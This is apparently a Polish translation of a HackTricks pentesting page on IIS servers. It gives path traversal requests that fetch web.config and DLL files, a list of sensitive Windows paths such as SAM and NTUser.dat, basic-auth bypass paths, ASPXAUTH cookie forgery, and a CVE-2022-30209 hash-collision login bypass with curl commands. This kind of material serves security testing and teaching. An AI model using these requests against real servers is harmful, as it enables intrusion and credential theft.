IIS - Internet Information Services

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Testowane rozszerzenia plików wykonywalnych:

  • asp

  • aspx

  • config

  • php

Ujawnienie adresu IP wewnętrznego

Na dowolnym serwerze IIS, gdzie otrzymujesz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Lokalizacja może wskazywać na adres IP wewnętrzny:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odpowiedź ujawniająca wewnętrzne IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Wykonaj pliki .config

Możesz przesłać pliki .config i użyć ich do wykonania kodu. Jednym ze sposobów jest dołączenie kodu na końcu pliku wewnątrz komentarza HTML: Pobierz przykład tutaj

Więcej informacji i technik wykorzystania tej podatności znajdziesz tutaj

Bruteforce Odkrywania IIS

Pobierz listę, którą stworzyłem:

Została utworzona poprzez połączenie zawartości następujących list:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Użyj go bez dodawania żadnego rozszerzenia, pliki, które go potrzebują, mają je już.

Przechodzenie ścieżek

Ujawnianie kodu źródłowego

Sprawdź pełne opracowanie: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Podsumowując, w folderach aplikacji znajdują się różne pliki web.config z odwołaniami do plików "assemblyIdentity" i "namespaces". Dzięki tym informacjom możliwe jest ustalenie gdzie znajdują się pliki wykonywalne i pobranie ich. Z pobranych plików Dll można również znaleźć nowe przestrzenie nazw, do których należy spróbować uzyskać dostęp i uzyskać plik web.config, aby znaleźć nowe przestrzenie nazw i assemblyIdentity. Ponadto pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.\

W aplikacjach .Net MVC, plik web.config odgrywa kluczową rolę, określając każdy plik binarny, od którego aplikacja zależy za pomocą tagów XML "assemblyIdentity".

Eksploracja plików binarnych

Poniżej przedstawiono przykład dostępu do pliku web.config:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

To żądanie ujawnia różne ustawienia i zależności, takie jak:

  • Wersja EntityFramework

  • AppSettings dla stron internetowych, walidacji klienta i JavaScript

  • Konfiguracje System.web dotyczące uwierzytelniania i czasu wykonania

  • Ustawienia modułów System.webServer

  • Wiązania zestawów Runtime dla licznych bibliotek takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Te ustawienia wskazują, że pewne pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze /bin aplikacji.

Pliki Katalogu Głównego

Pliki znalezione w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera poufne hasła), są niezbędne do konfiguracji i działania aplikacji.

Przestrzenie nazw i Web.Config

Aplikacje MVC definiują również dodatkowe pliki web.config dla określonych przestrzeni nazw, aby uniknąć powtarzających się deklaracji w każdym pliku, jak pokazano w żądaniu pobrania innego web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Pobieranie plików DLL

Wzmianka o niestandardowej przestrzeni nazw wskazuje na plik DLL o nazwie "WebApplication1" obecny w katalogu /bin. Następnie pokazane jest żądanie pobrania pliku WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

To sugeruje obecność innych istotnych plików DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.

W scenariuszu, w którym DLL importuje przestrzeń nazw o nazwie WebApplication1.Areas.Minded, atakujący może wywnioskować istnienie innych plików web.config w przewidywalnych ścieżkach, takich jak /nazwa-strefy/Views/, zawierających konkretne konfiguracje i odwołania do innych plików DLL w folderze /bin. Na przykład żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw wskazujące na obecność innego pliku DLL, WebApplication1.AdditionalFeatures.dll.

Wspólne pliki

Z tutaj

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Błąd 404 HTTPAPI 2.0

Jeśli zobaczysz błąd jak poniżej:

Oznacza to, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host. Aby uzyskać dostęp do strony internetowej, możesz sprawdzić certyfikat SSL i być może znajdziesz w nim nazwę domeny/poddomeny. Jeśli jej tam nie ma, możesz potrzebować przemocy VHosts aż znajdziesz poprawną.

Stare podatności IIS, które warto sprawdzić

Podatność/Funkcja znaku tyldy “~” w Microsoft IIS – Ujawnienie Krótkiej Nazwy Pliku/Katalogu

Możesz spróbować wyliczyć foldery i pliki w każdym odkrytym folderze (nawet jeśli wymaga uwierzytelniania podstawowego) używając tej techniki. Głównym ograniczeniem tej techniki, jeśli serwer jest podatny, jest to, że może znaleźć tylko do pierwszych 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.

Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner aby przetestować tę podatność:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Oryginalne badania: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Możesz także użyć metasploita: use scanner/http/iis_shortname_scanner

Ominięcie Uwierzytelniania Podstawowego

Ominięcie uwierzytelniania podstawowego (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php

Możesz spróbować połączyćpodatność z poprzednią, aby znaleźć nowe foldery i ominąć uwierzytelnianie.

Debugowanie włączone w ASP.NET Trace.AXD

ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.

Zapisuje bardzo szczegółowy dziennik wszystkich żądań wykonanych do aplikacji w określonym czasie.

Informacje te obejmują zdalne adresy IP klientów, identyfikatory sesji, wszystkie ciasteczka żądania i odpowiedzi, ścieżki fizyczne, informacje o kodzie źródłowym, a nawet nazwy użytkowników i hasła.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Ciasteczko ASPXAUTH

ASPXAUTH używa następujących informacji:

  • validationKey (string): klucz w postaci szesnastkowej do użycia do walidacji podpisu.

  • decryptionMethod (string): (domyślnie “AES”).

  • decryptionIV (string): wektor inicjalizacji w postaci szesnastkowej (domyślnie wektor zerowy).

  • decryptionKey (string): klucz w postaci szesnastkowej do użycia do deszyfrowania.

Jednak niektórzy ludzie używają domyślnych wartości tych parametrów i jako ciasteczka używają adresu e-mail użytkownika. Dlatego jeśli znajdziesz stronę internetową używającą tą samą platformę, która używa ciasteczka ASPXAUTH i utworzysz użytkownika z adresem e-mail użytkownika, którego chcesz podrobić na atakowanym serwerze, możesz użyć ciasteczka z drugiego serwera na pierwszym i podrobić użytkownika. Ten atak zadziałał w tym opisie.

Ominięcie Uwierzytelniania IIS z zapisanymi hasłami (CVE-2022-30209)

Pełny raport tutaj: Błąd w kodzie nie sprawdzał poprawnie hasła podanego przez użytkownika, więc atakujący, którego skrót hasła trafia na klucz, który jest już w pamięci podręcznej, będzie mógł zalogować się jako ten użytkownik.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated